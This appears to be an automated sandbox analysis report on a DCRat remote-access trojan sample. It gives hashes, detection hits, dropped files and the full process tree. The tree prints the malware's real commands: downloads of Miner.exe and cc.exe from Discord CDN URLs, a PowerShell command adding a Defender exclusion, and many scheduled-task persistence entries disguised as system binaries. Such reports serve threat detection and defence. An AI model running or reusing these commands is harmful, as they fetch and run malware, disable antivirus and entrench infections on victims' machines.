dcrat | 9d88e62b7da45ea1be4c02dec30b6a31b53d42c31d1785f4a992e55c0147d825

Analysis

max time kernel
150s
max time network
145s
platform
windows10_x64
resource
win10v20210410
submitted
07/07/2021, 08:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fcdd36fea59663dd97eb71087a061ce8.exe
Size 391KB
Sample210707-8mlynqv89e
SHA256 9d88e62b7da45ea1be4c02dec30b6a31b53d42c31d1785f4a992e55c0147d825
MD5 fcdd36fea59663dd97eb71087a061ce8
SHA1 6feb62df029b7857db90f5d722eb390e7ffe0f52
SHA512 e9cb5c143713a6f4f6470dfe729a7e6040120a9c324f284ab166a15b2a4be2a2d2e7ecbc7b061a909c936b915eabb954f670374feb304a05046b4e07af81d755
MD5 SHA1 SHA512

Score

10^/10

dcrat infostealer rat upx

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

DCRat Payload 7 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x000100000001ab5b-129.dat	dcrat
behavioral2/files/0x000100000001ab5b-134.dat	dcrat
behavioral2/files/0x000200000001ab55-140.dat	dcrat
behavioral2/files/0x000200000001ab55-141.dat	dcrat
behavioral2/files/0x000200000001ab55-149.dat	dcrat
behavioral2/files/0x000100000001ab6a-172.dat	dcrat
behavioral2/files/0x000100000001ab6a-173.dat	dcrat

Downloads MZ/PE file

Executes dropped EXE 12 IoCs

pid	Process
1456	extd.exe
2160	extd.exe
2868	extd.exe
4020	Miner.exe
3868	cc.exe
928	extd.exe
1156	FontSavesperfsvcfontrefSession.exe
2436	FontSavesperfsvcfontrefSession.exe
3964	MicrosoftApi.exe
1080	taskhostw.exe
3868	MicrosoftApi.exe
1980	ScreanDriver.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000200000001ab51-117.dat	upx
behavioral2/files/0x000200000001ab51-118.dat	upx
behavioral2/files/0x000200000001ab51-120.dat	upx
behavioral2/files/0x000200000001ab51-122.dat	upx
behavioral2/files/0x000200000001ab51-133.dat	upx

Drops file in System32 directory 8 IoCs

description	ioc	Process
File created	C:\Windows\System32\prvdmofcomp\conhost.exe	FontSavesperfsvcfontrefSession.exe
File created	C:\Windows\System32\prvdmofcomp\088424020bedd6b28ac7fd22ee35dcd7322895ce	FontSavesperfsvcfontrefSession.exe
File created	C:\Windows\System32\winrs\fontdrvhost.exe	FontSavesperfsvcfontrefSession.exe
File created	C:\Windows\System32\winrs\5b884080fd4f94e2695da25c503f9e33b9605b83	FontSavesperfsvcfontrefSession.exe
File created	C:\Windows\System32\uudf\winlogon.exe	FontSavesperfsvcfontrefSession.exe
File created	C:\Windows\System32\uudf\cc11b995f2a76da408ea6a601e682e64743153ad	FontSavesperfsvcfontrefSession.exe
File created	C:\Windows\System32\scansetting\dllhost.exe	FontSavesperfsvcfontrefSession.exe
File created	C:\Windows\System32\scansetting\5940a34987c99120d96dace90a3f93f329dcad63	FontSavesperfsvcfontrefSession.exe

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Defender Advanced Threat Protection\f3b6ecef712a24f33798f5d2fb3790c3d9b894c4	FontSavesperfsvcfontrefSession.exe
File created	C:\Program Files\Windows Security\BrowserCore\en-US\WmiPrvSE.exe	FontSavesperfsvcfontrefSession.exe
File created	C:\Program Files\Windows Security\BrowserCore\en-US\24dbde2999530ef5fd907494bc374d663924116c	FontSavesperfsvcfontrefSession.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\explorer.exe	FontSavesperfsvcfontrefSession.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\7a0fd90576e08807bde2cc57bcf9854bbce05fe3	FontSavesperfsvcfontrefSession.exe
File created	C:\Program Files\Windows Defender Advanced Threat Protection\spoolsv.exe	FontSavesperfsvcfontrefSession.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1456	schtasks.exe
1152	schtasks.exe
1320	schtasks.exe
3672	schtasks.exe
2016	schtasks.exe
3564	schtasks.exe
3160	schtasks.exe
3116	schtasks.exe
3952	schtasks.exe
4060	schtasks.exe
3396	schtasks.exe
988	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2888	timeout.exe
2376	timeout.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings	cc.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings	FontSavesperfsvcfontrefSession.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3948	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1156	FontSavesperfsvcfontrefSession.exe
2436	FontSavesperfsvcfontrefSession.exe
1080	taskhostw.exe
2084	powershell.exe
2084	powershell.exe
2084	powershell.exe
3868	MicrosoftApi.exe
3868	MicrosoftApi.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe
1980	ScreanDriver.exe

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	1156	FontSavesperfsvcfontrefSession.exe
Token: SeDebugPrivilege	2436	FontSavesperfsvcfontrefSession.exe
Token: SeDebugPrivilege	1080	taskhostw.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeIncreaseQuotaPrivilege	2084	powershell.exe
Token: SeSecurityPrivilege	2084	powershell.exe
Token: SeTakeOwnershipPrivilege	2084	powershell.exe
Token: SeLoadDriverPrivilege	2084	powershell.exe
Token: SeSystemProfilePrivilege	2084	powershell.exe
Token: SeSystemtimePrivilege	2084	powershell.exe
Token: SeProfSingleProcessPrivilege	2084	powershell.exe
Token: SeIncBasePriorityPrivilege	2084	powershell.exe
Token: SeCreatePagefilePrivilege	2084	powershell.exe
Token: SeBackupPrivilege	2084	powershell.exe
Token: SeRestorePrivilege	2084	powershell.exe
Token: SeShutdownPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeSystemEnvironmentPrivilege	2084	powershell.exe
Token: SeRemoteShutdownPrivilege	2084	powershell.exe
Token: SeUndockPrivilege	2084	powershell.exe
Token: SeManageVolumePrivilege	2084	powershell.exe
Token: 33	2084	powershell.exe
Token: 34	2084	powershell.exe
Token: 35	2084	powershell.exe
Token: 36	2084	powershell.exe
Token: SeDebugPrivilege	3868	MicrosoftApi.exe
Token: SeDebugPrivilege	1980	ScreanDriver.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4024 wrote to memory of 896	4024	fcdd36fea59663dd97eb71087a061ce8.exe	73
PID 4024 wrote to memory of 896	4024	fcdd36fea59663dd97eb71087a061ce8.exe	73
PID 896 wrote to memory of 1456	896	cmd.exe	76
PID 896 wrote to memory of 1456	896	cmd.exe	76
PID 896 wrote to memory of 1456	896	cmd.exe	76
PID 896 wrote to memory of 2160	896	cmd.exe	78
PID 896 wrote to memory of 2160	896	cmd.exe	78
PID 896 wrote to memory of 2160	896	cmd.exe	78
PID 896 wrote to memory of 2868	896	cmd.exe	79
PID 896 wrote to memory of 2868	896	cmd.exe	79
PID 896 wrote to memory of 2868	896	cmd.exe	79
PID 896 wrote to memory of 4020	896	cmd.exe	81
PID 896 wrote to memory of 4020	896	cmd.exe	81
PID 896 wrote to memory of 3868	896	cmd.exe	82
PID 896 wrote to memory of 3868	896	cmd.exe	82
PID 896 wrote to memory of 3868	896	cmd.exe	82
PID 896 wrote to memory of 928	896	cmd.exe	83
PID 896 wrote to memory of 928	896	cmd.exe	83
PID 896 wrote to memory of 928	896	cmd.exe	83
PID 3868 wrote to memory of 4052	3868	cc.exe	85
PID 3868 wrote to memory of 4052	3868	cc.exe	85
PID 3868 wrote to memory of 4052	3868	cc.exe	85
PID 4052 wrote to memory of 3108	4052	WScript.exe	89
PID 4052 wrote to memory of 3108	4052	WScript.exe	89
PID 4052 wrote to memory of 3108	4052	WScript.exe	89
PID 3108 wrote to memory of 1156	3108	cmd.exe	91
PID 3108 wrote to memory of 1156	3108	cmd.exe	91
PID 1156 wrote to memory of 3564	1156	FontSavesperfsvcfontrefSession.exe	92
PID 1156 wrote to memory of 3564	1156	FontSavesperfsvcfontrefSession.exe	92
PID 1156 wrote to memory of 3160	1156	FontSavesperfsvcfontrefSession.exe	94
PID 1156 wrote to memory of 3160	1156	FontSavesperfsvcfontrefSession.exe	94
PID 1156 wrote to memory of 3116	1156	FontSavesperfsvcfontrefSession.exe	96
PID 1156 wrote to memory of 3116	1156	FontSavesperfsvcfontrefSession.exe	96
PID 1156 wrote to memory of 2436	1156	FontSavesperfsvcfontrefSession.exe	98
PID 1156 wrote to memory of 2436	1156	FontSavesperfsvcfontrefSession.exe	98
PID 2436 wrote to memory of 1456	2436	FontSavesperfsvcfontrefSession.exe	99
PID 2436 wrote to memory of 1456	2436	FontSavesperfsvcfontrefSession.exe	99
PID 2436 wrote to memory of 4060	2436	FontSavesperfsvcfontrefSession.exe	101
PID 2436 wrote to memory of 4060	2436	FontSavesperfsvcfontrefSession.exe	101
PID 2436 wrote to memory of 1152	2436	FontSavesperfsvcfontrefSession.exe	103
PID 2436 wrote to memory of 1152	2436	FontSavesperfsvcfontrefSession.exe	103
PID 2436 wrote to memory of 1320	2436	FontSavesperfsvcfontrefSession.exe	105
PID 2436 wrote to memory of 1320	2436	FontSavesperfsvcfontrefSession.exe	105
PID 2436 wrote to memory of 3672	2436	FontSavesperfsvcfontrefSession.exe	107
PID 2436 wrote to memory of 3672	2436	FontSavesperfsvcfontrefSession.exe	107
PID 2436 wrote to memory of 2016	2436	FontSavesperfsvcfontrefSession.exe	109
PID 2436 wrote to memory of 2016	2436	FontSavesperfsvcfontrefSession.exe	109
PID 2436 wrote to memory of 3952	2436	FontSavesperfsvcfontrefSession.exe	111
PID 2436 wrote to memory of 3952	2436	FontSavesperfsvcfontrefSession.exe	111
PID 2436 wrote to memory of 3396	2436	FontSavesperfsvcfontrefSession.exe	113
PID 2436 wrote to memory of 3396	2436	FontSavesperfsvcfontrefSession.exe	113
PID 2436 wrote to memory of 2908	2436	FontSavesperfsvcfontrefSession.exe	115
PID 2436 wrote to memory of 2908	2436	FontSavesperfsvcfontrefSession.exe	115
PID 2908 wrote to memory of 2580	2908	cmd.exe	117
PID 2908 wrote to memory of 2580	2908	cmd.exe	117
PID 2908 wrote to memory of 3948	2908	cmd.exe	118
PID 2908 wrote to memory of 3948	2908	cmd.exe	118
PID 4020 wrote to memory of 3964	4020	Miner.exe	119
PID 4020 wrote to memory of 3964	4020	Miner.exe	119
PID 2908 wrote to memory of 1080	2908	cmd.exe	120
PID 2908 wrote to memory of 1080	2908	cmd.exe	120
PID 3964 wrote to memory of 2300	3964	MicrosoftApi.exe	121
PID 3964 wrote to memory of 2300	3964	MicrosoftApi.exe	121
PID 3964 wrote to memory of 1156	3964	MicrosoftApi.exe	124

C:\Users\Admin\AppData\Local\Temp\fcdd36fea59663dd97eb71087a061ce8.exe
"C:\Users\Admin\AppData\Local\Temp\fcdd36fea59663dd97eb71087a061ce8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4024
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\1DE0.bat C:\Users\Admin\AppData\Local\Temp\fcdd36fea59663dd97eb71087a061ce8.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:896
- - C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1456
- - C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/861175806071275521/862198260986937354/Miner.exe" "Miner.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2160
- - C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/861175806071275521/861922733532774430/cc.exe" "cc.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2868
- - C:\Users\Admin\AppData\Local\Temp\28675\Miner.exe
    Miner.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4020
  - - C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe
      "C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3964
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBED1.tmp.cmd""
        5⤵
        
        PID:2300
      - C:\Windows\system32\timeout.exe
        
        timeout 4
        6⤵
        Delays execution with timeout.exe
        
        PID:2888
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2084
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBED2.tmp.cmd""
        5⤵
        
        PID:1156
      - C:\Windows\system32\timeout.exe
        
        timeout 4
        6⤵
        Delays execution with timeout.exe
        
        PID:2376
      - C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /f /sc MINUTE /mo 1 /tn "MicrosoftApi" /tr "'C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:988
- - C:\Users\Admin\AppData\Local\Temp\28675\cc.exe
    cc.exe
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3868
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\FontSavesperfsvc\2znK0l6JhVTbQbA.vbe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4052
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\FontSavesperfsvc\dZM0EoA4ORDa8.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3108
      - C:\FontSavesperfsvc\FontSavesperfsvcfontrefSession.exe
        
        "C:\FontSavesperfsvc\FontSavesperfsvcfontrefSession.exe"
        6⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1156
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "SearchUI" /sc ONLOGON /tr "'C:\ProgramData\SoftwareDistribution\SearchUI.exe'" /rl HIGHEST /f
        7⤵
        Creates scheduled task(s)
        
        PID:3564
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\System32\prvdmofcomp\conhost.exe'" /rl HIGHEST /f
        7⤵
        Creates scheduled task(s)
        
        PID:3160
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\System32\winrs\fontdrvhost.exe'" /rl HIGHEST /f
        7⤵
        Creates scheduled task(s)
        
        PID:3116
        
        C:\FontSavesperfsvc\FontSavesperfsvcfontrefSession.exe
        
        "C:\FontSavesperfsvc\FontSavesperfsvcfontrefSession.exe"
        7⤵
        Executes dropped EXE
        Drops file in System32 directory
        Drops file in Program Files directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2436
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
        8⤵
        Creates scheduled task(s)
        
        PID:1456
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "taskhostw" /sc ONLOGON /tr "'C:\ProgramData\Microsoft OneDrive\setup\taskhostw.exe'" /rl HIGHEST /f
        8⤵
        Creates scheduled task(s)
        
        PID:4060
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "System" /sc ONLOGON /tr "'C:\Documents and Settings\System.exe'" /rl HIGHEST /f
        8⤵
        Creates scheduled task(s)
        
        PID:1152
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\uudf\winlogon.exe'" /rl HIGHEST /f
        8⤵
        Creates scheduled task(s)
        
        PID:1320
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\WmiPrvSE.exe'" /rl HIGHEST /f
        8⤵
        Creates scheduled task(s)
        
        PID:3672
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Multimedia Platform\explorer.exe'" /rl HIGHEST /f
        8⤵
        Creates scheduled task(s)
        
        PID:2016
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\spoolsv.exe'" /rl HIGHEST /f
        8⤵
        Creates scheduled task(s)
        
        PID:3952
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\scansetting\dllhost.exe'" /rl HIGHEST /f
        8⤵
        Creates scheduled task(s)
        
        PID:3396
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ZvMe9VllOp.bat"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2908
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        9⤵
        
        PID:2580
        
        C:\Windows\system32\PING.EXE
        
        ping -n 5 localhost
        9⤵
        Runs ping.exe
        
        PID:3948
        
        C:\ProgramData\Microsoft OneDrive\setup\taskhostw.exe
        
        "C:\ProgramData\Microsoft OneDrive\setup\taskhostw.exe"
        9⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1080
- - C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:928

C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe
C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3868
- C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\ScreanDriver.exe
  "C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\ScreanDriver.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1980

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1080-176-0x0000000001450000-0x0000000001452000-memory.dmp

Download

memory/1156-144-0x000000001AFD0000-0x000000001AFD2000-memory.dmp

Download

memory/1156-142-0x0000000000320000-0x0000000000321000-memory.dmp

Download

memory/1980-235-0x000001B5FBBD2000-0x000001B5FBBD4000-memory.dmp

Download

memory/1980-236-0x000001B5FBBD4000-0x000001B5FBBD6000-memory.dmp

Download

memory/1980-234-0x000001B5FBBD0000-0x000001B5FBBD2000-memory.dmp

Download

memory/1980-232-0x000001B5E15C0000-0x000001B5E15C1000-memory.dmp

Download

memory/2084-221-0x0000021BF4918000-0x0000021BF4919000-memory.dmp

Download

memory/2084-217-0x0000021BF4916000-0x0000021BF4918000-memory.dmp

Download

memory/2084-192-0x0000021BF4910000-0x0000021BF4912000-memory.dmp

Download

memory/2084-194-0x0000021BF4913000-0x0000021BF4915000-memory.dmp

Download

memory/2084-193-0x0000021BF4C10000-0x0000021BF4C11000-memory.dmp

Download

memory/2084-189-0x0000021BF48E0000-0x0000021BF48E1000-memory.dmp

Download

memory/2436-153-0x0000000002730000-0x0000000002732000-memory.dmp

Download

memory/3868-228-0x0000020E38F10000-0x0000020E38F11000-memory.dmp

Download

memory/3868-226-0x0000020E38FD0000-0x0000020E38FD2000-memory.dmp

Download

memory/4020-127-0x0000019FA63C0000-0x0000019FA63C1000-memory.dmp

Download